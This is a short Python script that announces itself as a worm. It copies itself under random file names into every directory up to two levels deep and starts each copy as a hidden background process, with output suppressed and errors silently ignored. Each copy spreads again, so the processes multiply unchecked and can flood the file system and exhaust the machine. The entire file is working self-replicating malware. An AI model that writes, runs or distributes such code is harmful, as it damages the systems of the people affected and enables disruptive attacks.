r2.py

import os
import shutil
import random
import string
import sys
import subprocess
import time

def rnd(n=8):
    return ''.join(random.choices(string.ascii_letters + string.digits, k=n))

def cp_and_run(dest):
    try:
        src = sys.argv[0]
        
        if os.path.isdir(dest):
            dest_path = os.path.join(dest, f"{rnd(10)}.py")
        else:
            dest_dir = os.path.dirname(dest)
            dest_path = os.path.join(dest_dir, f"{rnd(10)}.py") if dest_dir else f"{rnd(10)}.py"
        
        if os.path.abspath(src) != os.path.abspath(dest_path):
            shutil.copy2(src, dest_path)

            subprocess.Popen(
                [sys.executable, dest_path],
                stdout=subprocess.DEVNULL,
                stderr=subprocess.DEVNULL,
                creationflags=subprocess.CREATE_NO_WINDOW if sys.platform == 'win32' else 0
            )
            return True
    except:
        pass
    return False

def get_all_dirs(start_path=None, max_depth=2):
    if start_path is None:
        start_path = os.path.dirname(os.path.abspath(sys.argv[0]))
    
    start_path = os.path.abspath(start_path)
    dirs = []
    
    dirs.append(start_path)

    try:
        for root, subdirs, files in os.walk(start_path):
            depth = root[len(start_path):].count(os.sep)
            if depth < max_depth:
                dirs.append(root)
                for d in subdirs:
                    dirs.append(os.path.join(root, d))
            else:
                subdirs.clear()
    except:
        pass
    
    return list(set(dirs))

if __name__ == "__main__":
    script_dir = os.path.dirname(os.path.abspath(sys.argv[0]))
    
    print(f"[*] Worm instance started (PID: {os.getpid()})")
    print(f"[*] Location: {script_dir}")

    targets = get_all_dirs(script_dir, max_depth=2)
    
    print(f"[*] Targeting {len(targets)} directories")
    
    for target in targets:
        if cp_and_run(target):
            print(f"[+] Spread to: {target}")
        time.sleep(0.05)
    
    print(f"[*] This instance finished. Copies are now spreading independently.")